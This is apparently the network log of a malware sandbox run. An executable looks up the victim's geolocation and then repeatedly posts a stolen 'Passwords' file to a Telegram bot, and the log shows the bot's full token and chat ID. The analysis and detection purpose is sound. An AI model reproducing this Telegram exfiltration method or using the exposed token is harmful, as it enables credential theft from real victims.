2025-01-11 06:31:50 UTC	4819	IN	Data Raw: ab 9f 9d 46 48 d0 10 d4 69 25 82 f6 f6 12 3e fc 91 f3 9a fe e6 d3 8a fc 90 9f 89 88 e8 1e f1 c0 de 1e ca 6b e1 71 93 0e 28 a2 3f 12 91 8f 6c b5 15 22 8b 4d 83 38 29 0a 98 6d 16 8e cd 9b 56 05 78 fa 81 2f 17 bb 70 64 c2 23 bf c9 f3 48 79 fe 7c b7 65 45 8d ee 51 ce d9 9b bd 79 d8 a4 38 d6 75 de cb 1a 1c 1e 1f 3b 30 74 be 20 78 f4 32 d3 fa d2 c2 dd 43 dc 80 5b ca cb 1a 16 50 e1 98 ee a9 8d 2c da be 3f 0b a7 94 db 85 2b 7a e9 fc 5f 6b 37 5e 95 3a a1 82 1b 1c ad b4 21 b8 96 f2 26 99 66 57 8e a3 03 d0 e7 4a 3f 06 8b 83 92 e2 04 bf a7 b6 ef 77 09 bf ae 20 4c 29 20 69 60 39 35 cb 7e 1b 4c fa 49 9a 20 e6 93 dd be cd bb a8 42 b2 d0 34 e0 65 2f 8b 3e 0d e8 ff 3c 3c 5f 07 50 f7 88 40 eb fb 94 67 18 a4 38 02 a2 71 34 fb 20 68 4f 62 16 2b 42 3f 08 7b e0 ed ab 19 6d 6f Data Ascii: FHi%>kq(?l"M8)mVx/pd#Hy\|eEQy8u;0t x2C[P,?+z_k7^:!&fWJ?w L) i`95~LI B4e/><<_P@g8q4 hOb+B?{mo
2025-01-11 06:31:50 UTC	1320	IN	Data Raw: 7f 87 66 c2 df fb d7 8c 21 71 62 b2 cf a9 00 96 de 11 27 9d ac 1d cd b3 6d 31 f7 0c 60 af 71 6a 0e 07 c5 68 3a b8 dd b0 ae 84 c2 e8 8b 57 7b f2 20 4a 95 d6 89 84 29 83 9d 35 de 10 2f 1f 94 f3 32 1a d2 23 ab f3 de 1e 45 17 73 85 a3 75 82 d2 2c 6c 59 f7 90 02 7f d1 66 74 57 23 8d 21 a6 aa da e1 8b 20 56 36 92 e5 02 78 6b 79 b8 86 9f eb 49 24 87 45 18 fd f7 11 5d 47 ee bd 7f 4a f6 d2 57 ea be a3 3f d8 2f ee 14 0d 33 43 d9 86 34 e3 72 1f 14 b1 3e 01 82 45 45 2e 75 57 fd 6b aa 33 e6 ff 75 d0 8a 3b 0f 59 c5 2b b5 1c 7d 9b 9d f0 89 26 da 43 03 17 88 7c a6 e8 36 06 02 d4 ae 17 56 aa 1f 55 50 2a 0c 03 41 3a c4 43 7f 21 78 5c a1 0c 04 ad 1d 60 7f c5 29 9f e1 c6 9b d5 28 f6 ab e7 1a 54 5d e6 1e 7c 6b 4b 04 0e 67 e2 8f c0 3b f6 ca ec 3f 5a 86 7f 30 6e 35 98 75 61 33 Data Ascii: f!qb'm1`qjh:W{ J)5/2#Esu,lYftW#! V6xkyI$E]GJW?/3C4r>EE.uWk3u;Y+}&C\|6VUP*A:C!x\`)(T]\|kKg;?Z0n5ua3
2025-01-11 06:31:50 UTC	1390	IN	Data Raw: 01 6d f5 bb 26 80 f0 05 2d 5c 82 52 bd 4a 4e 3f 4b e6 5c f7 21 1d 95 cd 47 7e 23 10 9c 63 27 1e 4c f7 ee df 00 70 22 7d fc eb c0 6e c9 ab ba 82 cd ea 2a 02 fd 68 d3 e6 79 f4 10 cb a1 8f 30 9b fa 1c 1f 4a c2 2f 58 bd 00 a9 b4 b4 57 27 7b cc 55 c3 dd cc 6f 9e 7c 4a bf 15 06 55 b5 4e 10 bc 4f 21 7d 98 7c 85 b7 be ba 1b ec 18 f8 bd 97 0b 37 b9 82 7f 4c ac 76 13 b1 55 df 4f fb cd 2d 2d 2a a9 14 3e 96 60 38 82 48 50 0f da e3 be 89 f2 72 dd ea de f7 45 9c 71 ff 29 74 86 76 f3 6c 42 e8 bd 88 21 4f bd 1e d7 a0 ab 64 cf a3 ad d0 b2 cc de 9b c6 0e 93 71 99 b6 46 3e b3 4a 09 0d 3b 84 52 1a 77 55 14 75 3b f3 99 ca 33 44 7d 2c 3f a3 c0 ff 25 74 5f eb 00 f5 37 74 f2 9c fc ca d8 36 10 4f 90 33 29 a6 7a b7 47 e2 c1 f7 92 02 ef 81 bf 2a f2 00 8a 26 20 c5 88 4e 80 e0 15 2e Data Ascii: m&-\RJN?K\!G~#c'Lp"}nhy0J/XW'{Uo\|JUNO!}\|7LvUO-->`8HPrEq)tvlB!OdqF>J;RwUu;3D},?%t_7t6O3)zG*& N.
2025-01-11 06:31:50 UTC	1390	IN	Data Raw: 25 92 2a 10 f8 83 a4 04 b6 0f 41 f0 f6 da fa f6 04 74 68 95 36 71 48 02 a3 f1 33 6d 4d 64 79 3e 30 6f 16 09 0c 89 40 69 7b 4d 20 ca ab e3 19 0e 58 1a 83 81 10 c4 73 cb d0 d6 09 ee 42 2b 0b 26 15 13 f3 13 78 43 03 2e b4 70 1e fe 39 d4 48 0d 35 5b 92 a0 63 78 4b 83 cc 1d 52 5d 27 b3 f3 72 67 e8 35 c4 28 73 cf 9d 43 f2 f5 c1 5d 07 18 b1 b5 55 74 b3 dd 7e 68 ff 14 81 4a 07 cc 99 fe c2 ac 4e 6b bd b6 c2 3c d4 25 62 0e 40 ed 99 0b 9b 3b f4 02 9b ea 2d 11 5f 63 53 e9 68 80 1a a5 12 bc f5 77 d7 8b db 84 e7 13 6f 1e f4 d3 b7 fe 98 e9 f9 97 63 b6 61 a6 58 da 45 08 69 09 8c 21 92 a4 78 0d 19 40 cc 82 88 29 4c 62 ae af ea 4d 85 22 df e3 58 b3 da 15 bd 5e a3 8e 94 28 fa 63 3f 05 55 18 0c 27 c5 5c b2 ce 35 90 43 41 68 cd 0d bb 3c 12 2e ac 50 8d f8 3a 0e 3b 21 7b 87 36 Data Ascii: %*Ath6qH3mMdy>0o@i{M XsB+&xC.p9H5[cxKR]'rg5(sC]Ut~hJNk<%b@;-_cShwocaXEi!x@)LbM"X^(c?U'\5CAh<.P:;!{6
2025-01-11 06:31:50 UTC	1390	IN	Data Raw: 2e c7 7d 69 70 aa 82 e8 0a f2 78 e2 dd e7 11 3c 93 2b 64 f8 72 0c cb 0a 96 48 00 c6 50 0b 7a b2 88 60 df db 18 13 3d 8d 55 fe 76 fc df 78 bb b3 c3 bb e8 6a 77 7a 13 e1 5b 5b 9a 76 58 bd 00 f1 16 fb b9 52 15 80 ad 0a cf 03 b9 2c 7c 29 64 0f d8 fa af 25 46 7d bd 90 c3 24 a4 88 65 85 2f d3 05 1d 25 55 46 a6 19 e0 e9 da 61 68 2e 79 98 d4 b8 20 10 30 19 84 e5 88 a1 28 81 bf 06 9c 41 30 13 42 cf 7a 8d d1 8b 36 b7 0a e4 98 b8 64 cf c2 49 eb 57 7d 05 3d b7 75 05 3c a3 f6 8d db c0 ab 83 d7 b9 7c 9a 3e 98 d7 3e 54 ac 3b 5a e3 83 6d 57 33 34 8d a1 04 24 00 4e b5 90 c1 32 09 75 21 74 76 2e 9d 8e 2c 04 e8 93 cb b1 08 05 74 e4 5c 85 ec 71 96 ca e3 f1 71 98 18 02 68 81 d8 f2 bc e4 78 ab 95 91 5c 47 ce 03 4b 07 5c 00 78 9f 03 e4 dd 98 85 9a f4 ec d3 e5 e9 84 89 a5 47 63 Data Ascii: .}ipx<+drHPz`=Uvxjwz[[vXR,\|)d%F}$e/%UFah.y 0(A0Bz6dIW}=u<\|>>T;ZmW34$N2u!tv.,t\qqhx\GK\xGc
2025-01-11 06:31:50 UTC	1390	IN	Data Raw: c2 df bb ff 5d 20 6a 58 cb 85 d5 01 92 db 34 25 e6 f7 1d d2 ab 47 92 bc 0c 6a d9 79 a5 0e 77 e7 26 38 bd 59 d3 d3 cf ea 10 8f 55 73 82 6a 73 d3 d3 a1 55 2f f0 40 48 92 16 23 13 e6 a9 04 1a a2 4c 6a c3 dc 18 f9 1f 1c 56 87 75 84 d4 f6 7d 24 a7 83 05 43 b8 34 74 57 21 b4 72 d4 c2 cc eb fd 5c 87 27 96 cf 02 72 01 38 ca f8 87 c3 ea 4b 52 4f 18 fb e4 17 2e 1c e9 cf e7 28 a5 a2 38 35 96 f7 39 cb 20 f4 16 36 a5 52 dc ac 2a e9 18 5d 38 f2 3c 01 52 44 45 2e 1a 53 fc 69 db 14 e3 fe 71 a4 f1 af 0f 53 eb 6c bc 0d 7e 83 6b e2 9c 3d cd 65 18 eb f2 27 ad f9 39 02 c7 fc 04 1d 56 a0 0e 52 44 39 0c 03 4f 55 9e 6b ea 2b 50 0e b2 09 0e a0 14 58 58 d4 06 19 ec c4 ea 91 39 f1 dd 53 d5 54 2d 83 cb 7c 6b 67 6b 51 7c d2 8f e8 ad f7 ca ea 09 5f 86 7f 34 1e a9 a0 75 11 21 ae 5b 87 Data Ascii: ] jX4%Gjyw&8YUsjsU/@H#LjVu}$C4tW!r\'r8KRO.(859 6R*]8<RDE.SiqSl~k=e'9VRD9OUk+PXX9ST-\|kgkQ\|_4u![
2025-01-11 06:31:50 UTC	1390	IN	Data Raw: ba b5 a5 40 0d c0 11 55 c5 c4 d7 7b 87 55 24 28 e3 0a 46 b7 ba 69 b4 4e 21 6c 98 78 84 b7 be 92 53 ec 33 fc ae 9e 30 3f bd 7c 7e 5d a6 7a 19 dd 3c de 53 f0 dc 26 01 27 b1 b4 3e dc 69 29 87 0b 0f 0f cb e9 dc 59 da e7 d7 e1 c2 69 7f 9c 71 fe 27 42 f4 94 4c 6c 32 40 90 8e 54 db 34 02 a7 72 e1 a9 bd a1 bd bf 9d 6e fb 88 9c ac 85 71 ef 07 4f 2a b1 4a 61 62 af 84 22 0d 7a c2 6a ab 31 e5 6d bb 18 57 0f be 55 7c b0 e9 07 57 7a fc 74 3d c9 77 a7 fd 1d cd d4 6a 32 8d 1d 0c 23 04 5e 8a 2f 4e 27 e3 98 00 a9 b3 a8 53 3f fa 92 54 06 72 ad 27 5c 1b 0c 3f e7 e2 d5 db 5b f1 68 51 85 e4 c6 96 c2 08 c9 ec 08 78 ec cd 2c db d8 bb 2b e7 53 79 76 a2 88 9a a2 7c 83 ae 1b e0 5b dc 1d 5e 15 8a 70 04 d9 e4 a8 2c ef 77 75 ef 8d c4 3d 25 6f 37 b9 bd 3a 6e 91 23 93 2c 15 82 41 5d 16 Data Ascii: @U{U$(FiN!lxS30?\|~]z<S&'>i)Yiq'BLl2@T4rnqO*Jab"zj1mWU\|Wzt=wj2#^/N'S?Tr'\?[hQx,+Syv\|[^p,wu=%o7:n#,A]
2025-01-11 06:31:50 UTC	1390	IN	Data Raw: 69 1a 11 28 aa bc 7f d7 54 25 c3 66 41 d9 94 16 00 92 2e 7d ec e0 7f 65 f0 0f 9a 20 8c 12 98 43 83 c3 c1 3e f3 1d a5 d3 e6 42 cb 26 dc 4d ed 40 bc 4b 11 2d 1b 0b db bd 4a 37 99 bf a7 6b d6 36 0b bd 7c da 8e 18 2a 06 e8 5b 55 c8 3a 72 e5 4b e2 fa 7f 50 1a b2 7a a0 ee 4f e5 98 d6 ac b8 07 7e 0f e5 c3 97 cf 8b f8 ed 97 7f 30 a8 ca 70 c5 53 0d 7e 2c fd c0 50 a5 79 1b 39 51 c2 ab ad 3a 50 79 a1 b2 f7 74 ca 1b 26 e8 86 b3 cb 29 ef 5c b2 9a 85 33 6b 4b e8 05 55 12 48 39 d4 42 ca d0 1d 55 53 41 62 e5 07 bb 3c 19 26 8a 26 6f 81 3b 7e 28 32 6a 91 55 63 d0 26 a0 bc f3 c1 d0 c0 7f 6d 42 48 a1 b6 f2 c2 cc e6 7f f3 b6 6a f0 45 68 99 4b ec b5 08 c9 70 ce 8d fa 6e e7 08 c4 e7 44 15 1c 97 29 1a c9 b5 0d 16 f3 04 f1 a8 ca ef 9b aa 5f 92 35 d0 30 08 19 9d 71 b5 0e d3 55 57 Data Ascii: i(T%fA.}e C>B&M@K-J7k6\|*[U:rKPzO~0pS~,Py9Q:Pyt&)\3kKUH9BUSAb<&&o;~(2jUc&mBHjEhKpnD)_50qUW
2025-01-11 06:31:50 UTC	1390	IN	Data Raw: 10 b7 5e b6 60 64 7f cc 57 56 25 6c 36 a6 b8 39 24 a4 82 4d 6d 2f d3 0f 59 22 44 40 a3 e4 e0 e9 c0 72 60 05 7e 89 dc d6 45 20 34 13 d0 de 88 a1 11 92 b6 06 95 2a b1 3b 9a ce 69 8d b2 18 7c 4a 7a cc dc ab 6f d4 c3 5a e1 6e 89 29 24 ac 74 6d fb e5 f7 87 cc a9 27 54 d7 b3 15 96 37 ea 87 0a 3e dc 54 82 ef 83 6b 71 2a 53 31 21 04 22 1d 87 ab 87 da 0c be 93 21 64 7e 5b 84 9f 2b 77 ac 82 da c9 12 c1 74 e4 5b e7 e5 60 91 b2 9d 31 79 66 1e cc b2 96 04 f6 6e 61 30 ac e7 0c 53 40 b6 77 8f 00 4a 0e e5 f3 09 3b dd 6d 85 9a f8 ff db e5 e6 bc dc 8b 88 60 1f f1 c0 b1 c4 c7 6b e2 32 91 06 47 a9 17 86 9b 8f b6 78 0f 16 aa 6a 7d 39 30 13 8d 67 28 22 cc 88 57 c9 64 d4 97 07 bd bb 70 10 cb 26 d0 92 81 1e 78 ef 05 89 d8 c4 8d e8 48 dd 27 9a ae 57 e9 a1 29 67 74 de c1 12 7e 95 Data Ascii: ^`dWV%l69$Mm/Y"D@r`~E 4;i\|JzoZn)$tm'T7>TkqS1!"!d~[+wt[`1yfna0S@wJ;m`k2Gxj}90g("Wdp&xH'W)gt~

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49913	104.21.16.1	443	3052	C:\Users\user\Desktop\ZaRP7yvL1J.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:31:53 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-11 06:31:54 UTC	855	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:31:54 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1891903 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bx6dv4JbqCpN9Yx6rIrlteZD2G1dQK127X5pBCXU7GikIN7tMlpwouvtKrpQz2LnTDouErMy2QrFxUaEne%2B2P464bujay1g2YvDPM0azJeRmHE6J8GNCXca%2BaVvQ5AH%2BWcg5VYaP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9002ddd2bb2b1899-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1656&min_rtt=1646&rtt_var=638&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1687861&cwnd=153&unsent_bytes=0&cid=7ae35295f409020a&ts=184&x=0"
2025-01-11 06:31:54 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49968	149.154.167.220	443	3052	C:\Users\user\Desktop\ZaRP7yvL1J.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:32:03 UTC	295	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31dfbf4d9096 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-11 06:32:03 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 64 66 62 66 34 64 39 30 39 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31dfbf4d9096Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-11 06:32:03 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sat, 11 Jan 2025 06:32:03 GMT Content-Type: application/json Content-Length: 535 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-11 06:32:03 UTC	535	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 38 38 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 37 37 31 32 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44886,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736577123,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49983	149.154.167.220	443	3052	C:\Users\user\Desktop\ZaRP7yvL1J.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:32:04 UTC	295	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31f77526aea5 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-11 06:32:04 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 66 37 37 35 32 36 61 65 61 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31f77526aea5Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-11 06:32:05 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sat, 11 Jan 2025 06:32:05 GMT Content-Type: application/json Content-Length: 535 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-11 06:32:05 UTC	535	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 38 38 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 37 37 31 32 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44887,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736577125,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49996	149.154.167.220	443	3052	C:\Users\user\Desktop\ZaRP7yvL1J.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:32:06 UTC	295	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd320c50c52ce9 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-11 06:32:06 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 30 63 35 30 63 35 32 63 65 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd320c50c52ce9Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-11 06:32:06 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sat, 11 Jan 2025 06:32:06 GMT Content-Type: application/json Content-Length: 535 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-11 06:32:06 UTC	535	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 38 38 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 37 37 31 32 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44888,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736577126,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	50007	149.154.167.220	443	3052	C:\Users\user\Desktop\ZaRP7yvL1J.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:32:08 UTC	271	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd321fbad14072 Host: api.telegram.org Content-Length: 1090
